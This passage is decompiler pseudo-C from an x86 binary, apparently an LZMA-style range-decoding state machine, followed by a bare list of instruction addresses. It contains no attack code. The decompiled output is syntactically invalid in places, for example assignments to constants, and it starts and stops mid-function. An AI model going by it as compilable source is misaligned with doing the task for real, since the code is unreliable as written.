												 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												__eax =  *(__ebp - 0x2c);
												goto L101;
											case 0xd:
												L37:
												__eflags =  *(__ebp - 0x6c);
												if( *(__ebp - 0x6c) == 0) {
													 *(__ebp - 0x88) = 0xd;
													goto L170;
												}
												__ecx =  *(__ebp - 0x70);
												__eax =  *(__ebp - 0xc);
												 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
												__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
												 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
												 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												_t122 = __ebp - 0x70;
												 *_t122 =  *(__ebp - 0x70) + 1;
												__eflags =  *_t122;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												L39:
												__eax =  *(__ebp - 0x40);
												__eflags =  *(__ebp - 0x48) -  *(__ebp - 0x40);
												if( *(__ebp - 0x48) !=  *(__ebp - 0x40)) {
													goto L48;
												}
												__eflags = __ebx - 0x100;
												if(__ebx >= 0x100) {
													goto L54;
												}
												L41:
												__eax =  *(__ebp - 0x5b) & 0x000000ff;
												 *(__ebp - 0x5b) =  *(__ebp - 0x5b) << 1;
												__ecx =  *(__ebp - 0x58);
												__eax = ( *(__ebp - 0x5b) & 0x000000ff) >> 7;
												 *(__ebp - 0x48) = __eax;
												__eax = __eax + 1;
												__eax = __eax << 8;
												__eax = __eax + __ebx;
												__esi =  *(__ebp - 0x58) + __eax * 2;
												 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
												__ax =  *__esi;
												 *(__ebp - 0x54) = __esi;
												__edx = __ax & 0x0000ffff;
												__ecx = ( *(__ebp - 0x10) >> 0xb) * __edx;
												__eflags =  *(__ebp - 0xc) - __ecx;
												if( *(__ebp - 0xc) >= __ecx) {
													 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
													 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
													__cx = __ax;
													 *(__ebp - 0x40) = 1;
													__cx = __ax >> 5;
													__eflags = __eax;
													__ebx = __ebx + __ebx + 1;
													 *__esi = __ax;
												} else {
													 *(__ebp - 0x40) =  *(__ebp - 0x40) & 0x00000000;
													 *(__ebp - 0x10) = __ecx;
													0x800 = 0x800 - __edx;
													0x800 - __edx >> 5 = (0x800 - __edx >> 5) + __eax;
													__ebx = __ebx + __ebx;
													 *__esi = __cx;
												}
												__eflags =  *(__ebp - 0x10) - 0x1000000;
												 *(__ebp - 0x44) = __ebx;
												if( *(__ebp - 0x10) >= 0x1000000) {
													goto L39;
												} else {
													goto L37;
												}
											case 0xe:
												L46:
												__eflags =  *(__ebp - 0x6c);
												if( *(__ebp - 0x6c) == 0) {
													 *(__ebp - 0x88) = 0xe;
													goto L170;
												}
												__ecx =  *(__ebp - 0x70);
												__eax =  *(__ebp - 0xc);
												 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
												__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
												 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
												 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												_t156 = __ebp - 0x70;
												 *_t156 =  *(__ebp - 0x70) + 1;
												__eflags =  *_t156;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												while(1) {
													L48:
													__eflags = __ebx - 0x100;
													if(__ebx >= 0x100) {
														break;
													}
													__eax =  *(__ebp - 0x58);
													__edx = __ebx + __ebx;
													__ecx =  *(__ebp - 0x10);
													__esi = __edx + __eax;
													__ecx =  *(__ebp - 0x10) >> 0xb;
													__ax =  *__esi;
													 *(__ebp - 0x54) = __esi;
													__edi = __ax & 0x0000ffff;
													__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
													__eflags =  *(__ebp - 0xc) - __ecx;
													if( *(__ebp - 0xc) >= __ecx) {
														 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
														 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
														__cx = __ax;
														_t170 = __edx + 1; // 0x1
														__ebx = _t170;
														__cx = __ax >> 5;
														__eflags = __eax;
														 *__esi = __ax;
													} else {
														 *(__ebp - 0x10) = __ecx;
														0x800 = 0x800 - __edi;
														0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
														__ebx = __ebx + __ebx;
														 *__esi = __cx;
													}
													__eflags =  *(__ebp - 0x10) - 0x1000000;
													 *(__ebp - 0x44) = __ebx;
													if( *(__ebp - 0x10) >= 0x1000000) {
														continue;
													} else {
														goto L46;
													}
												}
												L54:
												_t173 = __ebp - 0x34;
												 *_t173 =  *(__ebp - 0x34) & 0x00000000;
												__eflags =  *_t173;
												goto L55;
											case 0xf:
												L58:
												__eflags =  *(__ebp - 0x6c);
												if( *(__ebp - 0x6c) == 0) {
													 *(__ebp - 0x88) = 0xf;
													goto L170;
												}
												__ecx =  *(__ebp - 0x70);
												__eax =  *(__ebp - 0xc);
												 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
												__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
												 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
												 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												_t203 = __ebp - 0x70;
												 *_t203 =  *(__ebp - 0x70) + 1;
												__eflags =  *_t203;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												L60:
												__eflags = __ebx - 0x100;
												if(__ebx >= 0x100) {
													L55:
													__al =  *(__ebp - 0x44);
													 *(__ebp - 0x5c) =  *(__ebp - 0x44);
													goto L56;
												}
												L61:
												__eax =  *(__ebp - 0x58);
												__edx = __ebx + __ebx;
												__ecx =  *(__ebp - 0x10);
												__esi = __edx + __eax;
												__ecx =  *(__ebp - 0x10) >> 0xb;
												__ax =  *__esi;
												 *(__ebp - 0x54) = __esi;
												__edi = __ax & 0x0000ffff;
												__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
												__eflags =  *(__ebp - 0xc) - __ecx;
												if( *(__ebp - 0xc) >= __ecx) {
													 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
													 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
													__cx = __ax;
													_t217 = __edx + 1; // 0x1
													__ebx = _t217;
													__cx = __ax >> 5;
													__eflags = __eax;
													 *__esi = __ax;
												} else {
													 *(__ebp - 0x10) = __ecx;
													0x800 = 0x800 - __edi;
													0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
													__ebx = __ebx + __ebx;
													 *__esi = __cx;
												}
												__eflags =  *(__ebp - 0x10) - 0x1000000;
												 *(__ebp - 0x44) = __ebx;
												if( *(__ebp - 0x10) >= 0x1000000) {
													goto L60;
												} else {
													goto L58;
												}
											case 0x10:
												L109:
												__eflags =  *(__ebp - 0x6c);
												if( *(__ebp - 0x6c) == 0) {
													 *(__ebp - 0x88) = 0x10;
													goto L170;
												}
												__ecx =  *(__ebp - 0x70);
												__eax =  *(__ebp - 0xc);
												 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
												__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
												 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
												 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												_t365 = __ebp - 0x70;
												 *_t365 =  *(__ebp - 0x70) + 1;
												__eflags =  *_t365;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												goto L111;
											case 0x11:
												goto L69;
											case 0x12:
												__eflags =  *(__ebp - 0x40);
												if( *(__ebp - 0x40) != 0) {
													__eax =  *(__ebp - 0x58);
													 *(__ebp - 0x84) = 0x13;
													__esi =  *(__ebp - 0x58) + 2;
													while(1) {
														L132:
														 *(_t613 - 0x54) = _t606;
														goto L133;
													}
												}
												__eax =  *(__ebp - 0x4c);
												 *(__ebp - 0x30) =  *(__ebp - 0x30) & 0x00000000;
												__ecx =  *(__ebp - 0x58);
												__eax =  *(__ebp - 0x4c) << 4;
												__eflags = __eax;
												__eax =  *(__ebp - 0x58) + __eax + 4;
												goto L130;
											case 0x13:
												__eflags =  *(__ebp - 0x40);
												if( *(__ebp - 0x40) != 0) {
													_t469 = __ebp - 0x58;
													 *_t469 =  *(__ebp - 0x58) + 0x204;
													__eflags =  *_t469;
													 *(__ebp - 0x30) = 0x10;
													 *(__ebp - 0x40) = 8;
													L144:
													 *(__ebp - 0x7c) = 0x14;
													goto L145;
												}
												__eax =  *(__ebp - 0x4c);
												__ecx =  *(__ebp - 0x58);
												__eax =  *(__ebp - 0x4c) << 4;
												 *(__ebp - 0x30) = 8;
												__eax =  *(__ebp - 0x58) + ( *(__ebp - 0x4c) << 4) + 0x104;
												L130:
												 *(__ebp - 0x58) = __eax;
												 *(__ebp - 0x40) = 3;
												goto L144;
											case 0x14:
												 *(__ebp - 0x30) =  *(__ebp - 0x30) + __ebx;
												__eax =  *(__ebp - 0x80);
												 *(_t613 - 0x88) = _t533;
												goto L1;
											case 0x15:
												__eax = 0;
												__eflags =  *(__ebp - 0x38) - 7;
												0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
												__al = __al & 0x000000fd;
												__eax = (__eflags >= 0) - 1 + 0xb;
												 *(__ebp - 0x38) = (__eflags >= 0) - 1 + 0xb;
												goto L120;
											case 0x16:
												__eax =  *(__ebp - 0x30);
												__eflags = __eax - 4;
												if(__eax >= 4) {
													_push(3);
													_pop(__eax);
												}
												__ecx =  *(__ebp - 4);
												 *(__ebp - 0x40) = 6;
												__eax = __eax << 7;
												 *(__ebp - 0x7c) = 0x19;
												 *(__ebp - 0x58) = __eax;
												goto L145;
											case 0x17:
												L145:
												__eax =  *(__ebp - 0x40);
												 *(__ebp - 0x50) = 1;
												 *(__ebp - 0x48) =  *(__ebp - 0x40);
												goto L149;
											case 0x18:
												L146:
												__eflags =  *(__ebp - 0x6c);
												if( *(__ebp - 0x6c) == 0) {
													 *(__ebp - 0x88) = 0x18;
													goto L170;
												}
												__ecx =  *(__ebp - 0x70);
												__eax =  *(__ebp - 0xc);
												 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
												__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
												 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
												 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												_t484 = __ebp - 0x70;
												 *_t484 =  *(__ebp - 0x70) + 1;
												__eflags =  *_t484;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												L148:
												_t487 = __ebp - 0x48;
												 *_t487 =  *(__ebp - 0x48) - 1;
												__eflags =  *_t487;
												L149:
												__eflags =  *(__ebp - 0x48);
												if( *(__ebp - 0x48) <= 0) {
													__ecx =  *(__ebp - 0x40);
													__ebx =  *(__ebp - 0x50);
													0 = 1;
													__eax = 1 << __cl;
													__ebx =  *(__ebp - 0x50) - (1 << __cl);
													__eax =  *(__ebp - 0x7c);
													 *(__ebp - 0x44) = __ebx;
													while(1) {
														 *(_t613 - 0x88) = _t533;
														goto L1;
													}
												}
												__eax =  *(__ebp - 0x50);
												 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
												__edx =  *(__ebp - 0x50) +  *(__ebp - 0x50);
												__eax =  *(__ebp - 0x58);
												__esi = __edx + __eax;
												 *(__ebp - 0x54) = __esi;
												__ax =  *__esi;
												__edi = __ax & 0x0000ffff;
												__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
												__eflags =  *(__ebp - 0xc) - __ecx;
												if( *(__ebp - 0xc) >= __ecx) {
													 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
													 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
													__cx = __ax;
													__cx = __ax >> 5;
													__eax = __eax - __ecx;
													__edx = __edx + 1;
													__eflags = __edx;
													 *__esi = __ax;
													 *(__ebp - 0x50) = __edx;
												} else {
													 *(__ebp - 0x10) = __ecx;
													0x800 = 0x800 - __edi;
													0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
													 *(__ebp - 0x50) =  *(__ebp - 0x50) << 1;
													 *__esi = __cx;
												}
												__eflags =  *(__ebp - 0x10) - 0x1000000;
												if( *(__ebp - 0x10) >= 0x1000000) {
													goto L148;
												} else {
													goto L146;
												}
											case 0x19:
												__eflags = __ebx - 4;
												if(__ebx < 4) {
													 *(__ebp - 0x2c) = __ebx;
													L119:
													_t393 = __ebp - 0x2c;
													 *_t393 =  *(__ebp - 0x2c) + 1;
													__eflags =  *_t393;
													L120:
													__eax =  *(__ebp - 0x2c);
													__eflags = __eax;
													if(__eax == 0) {
														 *(__ebp - 0x30) =  *(__ebp - 0x30) | 0xffffffff;
														goto L170;
													}
													__eflags = __eax -  *(__ebp - 0x60);
													if(__eax >  *(__ebp - 0x60)) {
														goto L171;
													}
													 *(__ebp - 0x30) =  *(__ebp - 0x30) + 2;
													__eax =  *(__ebp - 0x30);
													_t400 = __ebp - 0x60;
													 *_t400 =  *(__ebp - 0x60) +  *(__ebp - 0x30);
													__eflags =  *_t400;
													goto L123;
												}
												__ecx = __ebx;
												__eax = __ebx;
												__ecx = __ebx >> 1;
												__eax = __ebx & 0x00000001;
												__ecx = (__ebx >> 1) - 1;
												__al = __al | 0x00000002;
												__eax = (__ebx & 0x00000001) << __cl;
												__eflags = __ebx - 0xe;
												 *(__ebp - 0x2c) = __eax;
												if(__ebx >= 0xe) {
													__ebx = 0;
													 *(__ebp - 0x48) = __ecx;
													L102:
													__eflags =  *(__ebp - 0x48);
													if( *(__ebp - 0x48) <= 0) {
														__eax = __eax + __ebx;
														 *(__ebp - 0x40) = 4;
														 *(__ebp - 0x2c) = __eax;
														__eax =  *(__ebp - 4);
														__eax =  *(__ebp - 4) + 0x644;
														__eflags = __eax;
														L108:
														__ebx = 0;
														 *(__ebp - 0x58) = __eax;
														 *(__ebp - 0x50) = 1;
														 *(__ebp - 0x44) = 0;
														 *(__ebp - 0x48) = 0;
														L112:
														__eax =  *(__ebp - 0x40);
														__eflags =  *(__ebp - 0x48) -  *(__ebp - 0x40);
														if( *(__ebp - 0x48) >=  *(__ebp - 0x40)) {
															_t391 = __ebp - 0x2c;
															 *_t391 =  *(__ebp - 0x2c) + __ebx;
															__eflags =  *_t391;
															goto L119;
														}
														__eax =  *(__ebp - 0x50);
														 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
														__edi =  *(__ebp - 0x50) +  *(__ebp - 0x50);
														__eax =  *(__ebp - 0x58);
														__esi = __edi + __eax;
														 *(__ebp - 0x54) = __esi;
														__ax =  *__esi;
														__ecx = __ax & 0x0000ffff;
														__edx = ( *(__ebp - 0x10) >> 0xb) * __ecx;
														__eflags =  *(__ebp - 0xc) - __edx;
														if( *(__ebp - 0xc) >= __edx) {
															__ecx = 0;
															 *(__ebp - 0x10) =  *(__ebp - 0x10) - __edx;
															__ecx = 1;
															 *(__ebp - 0xc) =  *(__ebp - 0xc) - __edx;
															__ebx = 1;
															__ecx =  *(__ebp - 0x48);
															__ebx = 1 << __cl;
															__ecx = 1 << __cl;
															__ebx =  *(__ebp - 0x44);
															__ebx =  *(__ebp - 0x44) | __ecx;
															__cx = __ax;
															__cx = __ax >> 5;
															__eax = __eax - __ecx;
															__edi = __edi + 1;
															__eflags = __edi;
															 *(__ebp - 0x44) = __ebx;
															 *__esi = __ax;
															 *(__ebp - 0x50) = __edi;
														} else {
															 *(__ebp - 0x10) = __edx;
															0x800 = 0x800 - __ecx;
															0x800 - __ecx >> 5 = (0x800 - __ecx >> 5) + __eax;
															 *(__ebp - 0x50) =  *(__ebp - 0x50) << 1;
															 *__esi = __dx;
														}
														__eflags =  *(__ebp - 0x10) - 0x1000000;
														if( *(__ebp - 0x10) >= 0x1000000) {
															L111:
															_t368 = __ebp - 0x48;
															 *_t368 =  *(__ebp - 0x48) + 1;
															__eflags =  *_t368;
															goto L112;
														} else {
															goto L109;
														}
													}
													__ecx =  *(__ebp - 0xc);
													__ebx = __ebx + __ebx;
													 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 1;
													__eflags =  *(__ebp - 0xc) -  *(__ebp - 0x10);
													 *(__ebp - 0x44) = __ebx;
													if( *(__ebp - 0xc) >=  *(__ebp - 0x10)) {
														__ecx =  *(__ebp - 0x10);
														 *(__ebp - 0xc) =  *(__ebp - 0xc) -  *(__ebp - 0x10);
														__ebx = __ebx | 0x00000001;
														__eflags = __ebx;
														 *(__ebp - 0x44) = __ebx;
													}
													__eflags =  *(__ebp - 0x10) - 0x1000000;
													if( *(__ebp - 0x10) >= 0x1000000) {
														L101:
														_t338 = __ebp - 0x48;
														 *_t338 =  *(__ebp - 0x48) - 1;
														__eflags =  *_t338;
														goto L102;
													} else {
														goto L99;
													}
												}
												__edx =  *(__ebp - 4);
												__eax = __eax - __ebx;
												 *(__ebp - 0x40) = __ecx;
												__eax =  *(__ebp - 4) + 0x55e + __eax * 2;
												goto L108;
											case 0x1a:
												L56:
												__eflags =  *(__ebp - 0x64);
												if( *(__ebp - 0x64) == 0) {
													 *(__ebp - 0x88) = 0x1a;
													goto L170;
												}
												__ecx =  *(__ebp - 0x68);
												__al =  *(__ebp - 0x5c);
												__edx =  *(__ebp - 8);
												 *(__ebp - 0x60) =  *(__ebp - 0x60) + 1;
												 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
												 *(__ebp - 0x64) =  *(__ebp - 0x64) - 1;
												 *( *(__ebp - 0x68)) = __al;
												__ecx =  *(__ebp - 0x14);
												 *(__ecx +  *(__ebp - 8)) = __al;
												__eax = __ecx + 1;
												__edx = 0;
												_t192 = __eax %  *(__ebp - 0x74);
												__eax = __eax /  *(__ebp - 0x74);
												__edx = _t192;
												goto L80;
											case 0x1b:
												L76:
												__eflags =  *(__ebp - 0x64);
												if( *(__ebp - 0x64) == 0) {
													 *(__ebp - 0x88) = 0x1b;
													goto L170;
												}
												__eax =  *(__ebp - 0x14);
												__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
												__eflags = __eax -  *(__ebp - 0x74);
												if(__eax >=  *(__ebp - 0x74)) {
													__eax = __eax +  *(__ebp - 0x74);
													__eflags = __eax;
												}
												__edx =  *(__ebp - 8);
												__cl =  *(__eax + __edx);
												__eax =  *(__ebp - 0x14);
												 *(__ebp - 0x5c) = __cl;
												 *(__eax + __edx) = __cl;
												__eax = __eax + 1;
												__edx = 0;
												_t275 = __eax %  *(__ebp - 0x74);
												__eax = __eax /  *(__ebp - 0x74);
												__edx = _t275;
												__eax =  *(__ebp - 0x68);
												 *(__ebp - 0x60) =  *(__ebp - 0x60) + 1;
												 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
												_t284 = __ebp - 0x64;
												 *_t284 =  *(__ebp - 0x64) - 1;
												__eflags =  *_t284;
												 *( *(__ebp - 0x68)) = __cl;
												L80:
												 *(__ebp - 0x14) = __edx;
												goto L81;
											case 0x1c:
												while(1) {
													L123:
													__eflags =  *(__ebp - 0x64);
													if( *(__ebp - 0x64) == 0) {
														break;
													}
													__eax =  *(__ebp - 0x14);
													__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
													__eflags = __eax -  *(__ebp - 0x74);
													if(__eax >=  *(__ebp - 0x74)) {
														__eax = __eax +  *(__ebp - 0x74);
														__eflags = __eax;
													}
													__edx =  *(__ebp - 8);
													__cl =  *(__eax + __edx);
													__eax =  *(__ebp - 0x14);
													 *(__ebp - 0x5c) = __cl;
													 *(__eax + __edx) = __cl;
													__eax = __eax + 1;
													__edx = 0;
													_t414 = __eax %  *(__ebp - 0x74);
													__eax = __eax /  *(__ebp - 0x74);
													__edx = _t414;
													__eax =  *(__ebp - 0x68);
													 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
													 *(__ebp - 0x64) =  *(__ebp - 0x64) - 1;
													 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
													__eflags =  *(__ebp - 0x30);
													 *( *(__ebp - 0x68)) = __cl;
													 *(__ebp - 0x14) = _t414;
													if( *(__ebp - 0x30) > 0) {
														continue;
													} else {
														L81:
														 *(__ebp - 0x88) = 2;
														goto L1;
													}
												}
												 *(__ebp - 0x88) = 0x1c;
												goto L170;
										}
									}
									L171:
									_t535 = _t534 | 0xffffffff;
									goto L172;
								}
							}
						}
					}
					goto L1;
				}
			}

0x00000000
0x00406c03
0x00406c03
0x00406c07
0x00406c14
0x00406c1e
0x00000000
0x00406c09
0x00406c09
0x00406c44
0x00406c47
0x00406c4a
0x00406c4d
0x00406c4d
0x00406c50
0x00406c57
0x00406c5c
0x00406b3d
0x00406b40
0x00406eb2
0x00406eb2
0x00406eb2
0x00406eb5
0x00406eb5
0x00406eb5
0x00406ebb
0x00406ec1
0x00406ec7
0x00406ee1
0x00406ee4
0x00406eea
0x00406ef5
0x00406ef7
0x00406ec9
0x00406ec9
0x00406ed8
0x00406edc
0x00406edc
0x00406f01
0x00000000
0x00000000
0x00406f03
0x00406f07
0x004070b6
0x004070cc
0x004070d4
0x004070db
0x004070dd
0x004070e4
0x004070e8
0x004070e8
0x00406f13
0x00406f1a
0x00406f22
0x00406f25
0x00406f28
0x00406f28
0x00406f2e
0x00406f2e
0x004066ca
0x004066ca
0x004066ca
0x004066d3
0x00000000
0x00000000
0x004066d9
0x00000000
0x004066e4
0x00000000
0x00000000
0x004066ed
0x004066f0
0x004066f3
0x004066f7
0x00000000
0x00000000
0x004066fd
0x00406700
0x00406702
0x00406703
0x00406706
0x00406708
0x00406709
0x0040670b
0x0040670e
0x00406713
0x00406718
0x00406721
0x00406734
0x00406737
0x00406743
0x0040676b
0x0040676d
0x0040677b
0x0040677b
0x0040677f
0x00000000
0x00000000
0x00000000
0x00000000
0x0040676f
0x0040676f
0x00406772
0x00406773
0x00406773
0x00000000
0x0040676f
0x00406749
0x0040674e
0x0040674e
0x00406757
0x0040675f
0x00406762
0x00000000
0x00406768
0x00406768
0x00000000
0x00406768
0x00000000
0x00406785
0x00406785
0x00406789
0x00407035
0x00000000
0x00407035
0x00406792
0x004067a2
0x004067a5
0x004067a8
0x004067a8
0x004067a8
0x004067ab
0x004067af
0x00000000
0x00000000
0x004067b1
0x004067b7
0x004067e1
0x004067e7
0x004067ee
0x00000000
0x004067ee
0x004067bd
0x004067c0
0x004067c5
0x004067c5
0x004067d0
0x004067d8
0x004067db
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00406820
0x00406826
0x00406829
0x00406836
0x0040683e
0x00406eb2
0x00406eb2
0x00000000
0x00000000
0x004067f5
0x004067f5
0x004067f9
0x00407044
0x00000000
0x00407044
0x00406805
0x00406810
0x00406810
0x00406810
0x00406813
0x00406816
0x00406819
0x0040681e
0x00000000
0x00000000
0x00000000
0x00000000
0x00406eb5
0x00406eb5
0x00406ebb
0x00406ec1
0x00406ec7
0x00406ee1
0x00406ee4
0x00406eea
0x00406ef5
0x00406ef7
0x00406ec9
0x00406ec9
0x00406ed8
0x00406edc
0x00406edc
0x00406f01
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00406846
0x00406848
0x0040684b
0x004068bc
0x004068bf
0x004068c2
0x004068c9
0x004068d3
0x00406eb2
0x00406eb2
0x00406eb2
0x00000000
0x00406eb2
0x00406eb2
0x0040684d
0x00406851
0x00406854
0x00406856
0x00406859
0x0040685c
0x0040685e
0x00406861
0x00406863
0x00406868
0x0040686b
0x0040686e
0x00406872
0x00406879
0x0040687c
0x00406883
0x00406887
0x0040688f
0x0040688f
0x0040688f
0x00406889
0x00406889
0x00406889
0x0040687e
0x0040687e
0x0040687e
0x00406893
0x00406896
0x004068b4
0x004068b6
0x00000000
0x00406898
0x00406898
0x0040689b
0x0040689e
0x004068a1
0x004068a3
0x004068a3
0x004068a3
0x004068a6
0x004068a9
0x004068ab
0x004068ac
0x004068af
0x00000000
0x004068af
0x00000000
0x00406ae5
0x00406ae9
0x00406b07
0x00406b0a
0x00406b11
0x00406b14
0x00406b17
0x00406b1a
0x00406b1d
0x00406b20
0x00406b22
0x00406b29
0x00406b2a
0x00406b2c
0x00406b2f
0x00406b32
0x00406b35
0x00406b35
0x00406b3a
0x00000000
0x00406b3a
0x00406aeb
0x00406aee
0x00406af1
0x00406afb
0x00406eb2
0x00406eb2
0x00406eb2
0x00000000
0x00406eb2
0x00000000
0x00406b4f
0x00406b53
0x00406b76
0x00406b79
0x00406b7c
0x00406b86
0x00406b55
0x00406b55
0x00406b58
0x00406b5b
0x00406b5e
0x00406b6b
0x00406b6e
0x00406b6e
0x00406eb2
0x00406eb2
0x00406eb2
0x00000000
0x00406eb2
0x00000000
0x00406b92
0x00406b96
0x00000000
0x00000000
0x00406b9c
0x00406ba0
0x00000000
0x00000000
0x00406ba6
0x00406ba8
0x00406bac
0x00406bac
0x00406baf
0x00406bb3
0x00000000
0x00000000
0x00000000
0x00000000
0x00406c2a
0x00406c2e
0x00406c35
0x00406c38
0x00406c3b
0x00406c30
0x00406c30
0x00406c30
0x00406c3e
0x00406c41
0x00000000
0x00000000
0x00406cea
0x00406cea
0x00406cee
0x0040708c
0x00000000
0x0040708c
0x00406cf4
0x00406cf7
0x00406cfa
0x00406cfe
0x00406d01
0x00406d07
0x00406d09
0x00406d09
0x00406d09
0x00406d0c
0x00406d0f
0x00000000
0x00000000
0x004068df
0x004068df
0x004068e3
0x00407050
0x00000000
0x00407050
0x004068e9
0x004068ec
0x004068ef
0x004068f3
0x004068f6
0x004068fc
0x004068fe
0x004068fe
0x004068fe
0x00406901
0x00406904
0x00406904
0x00406907
0x0040690a
0x00000000
0x00000000
0x00406910
0x00406916
0x00000000
0x00000000
0x0040691c
0x0040691c
0x00406920
0x00406923
0x00406926
0x00406929
0x0040692c
0x0040692d
0x00406930
0x00406932
0x00406938
0x0040693b
0x0040693e
0x00406941
0x00406944
0x00406947
0x0040694a
0x00406966
0x00406969
0x0040696c
0x0040696f
0x00406976
0x0040697a
0x0040697c
0x00406980
0x0040694c
0x0040694c
0x00406950
0x00406958
0x0040695d
0x0040695f
0x00406961
0x00406961
0x00406983
0x0040698a
0x0040698d
0x00000000
0x00406993
0x00000000
0x00406993
0x00000000
0x00406998
0x00406998
0x0040699c
0x0040705c
0x00000000
0x0040705c
0x004069a2
0x004069a5
0x004069a8
0x004069ac
0x004069af
0x004069b5
0x004069b7
0x004069b7
0x004069b7
0x004069ba
0x004069bd
0x004069bd
0x004069bd
0x004069c3
0x00000000
0x00000000
0x004069c5
0x004069c8
0x004069cb
0x004069ce
0x004069d1
0x004069d4
0x004069d7
0x004069da
0x004069dd
0x004069e0
0x004069e3
0x004069fb
0x004069fe
0x00406a01
0x00406a04
0x00406a04
0x00406a07
0x00406a0b
0x00406a0d
0x004069e5
0x004069e5
0x004069ed
0x004069f2
0x004069f4
0x004069f6
0x004069f6
0x00406a10
0x00406a17
0x00406a1a
0x00000000
0x00406a1c
0x00000000
0x00406a1c
0x00406a1a
0x00406a21
0x00406a21
0x00406a21
0x00406a21
0x00000000
0x00000000
0x00406a5c
0x00406a5c
0x00406a60
0x00407068
0x00000000
0x00407068
0x00406a66
0x00406a69
0x00406a6c
0x00406a70
0x00406a73
0x00406a79
0x00406a7b
0x00406a7b
0x00406a7b
0x00406a7e
0x00406a81
0x00406a81
0x00406a87
0x00406a25
0x00406a25
0x00406a28
0x00000000
0x00406a28
0x00406a89
0x00406a89
0x00406a8c
0x00406a8f
0x00406a92
0x00406a95
0x00406a98
0x00406a9b
0x00406a9e
0x00406aa1
0x00406aa4
0x00406aa7
0x00406abf
0x00406ac2
0x00406ac5
0x00406ac8
0x00406ac8
0x00406acb
0x00406acf
0x00406ad1
0x00406aa9
0x00406aa9
0x00406ab1
0x00406ab6
0x00406ab8
0x00406aba
0x00406aba
0x00406ad4
0x00406adb
0x00406ade
0x00000000
0x00406ae0
0x00000000
0x00406ae0
0x00000000
0x00406d6d
0x00406d6d
0x00406d71
0x00407098
0x00000000
0x00407098
0x00406d77
0x00406d7a
0x00406d7d
0x00406d81
0x00406d84
0x00406d8a
0x00406d8c
0x00406d8c
0x00406d8c
0x00406d8f
0x00000000
0x00000000
0x00000000
0x00000000
0x00406e7c
0x00406e80
0x00406ea2
0x00406ea5
0x00406eaf
0x00406eb2
0x00406eb2
0x00406eb2
0x00000000
0x00406eb2
0x00406eb2
0x00406e82
0x00406e85
0x00406e89
0x00406e8c
0x00406e8c
0x00406e8f
0x00000000
0x00000000
0x00406f39
0x00406f3d
0x00406f5b
0x00406f5b
0x00406f5b
0x00406f62
0x00406f69
0x00406f70
0x00406f70
0x00000000
0x00406f70
0x00406f3f
0x00406f42
0x00406f45
0x00406f48
0x00406f4f
0x00406e93
0x00406e93
0x00406e96
0x00000000
0x00000000
0x0040702a
0x0040702d
0x00406f2e
0x00000000
0x00000000
0x00406c64
0x00406c66
0x00406c6d
0x00406c6e
0x00406c70
0x00406c73
0x00000000
0x00000000
0x00406c7b
0x00406c7e
0x00406c81
0x00406c83
0x00406c85
0x00406c85
0x00406c86
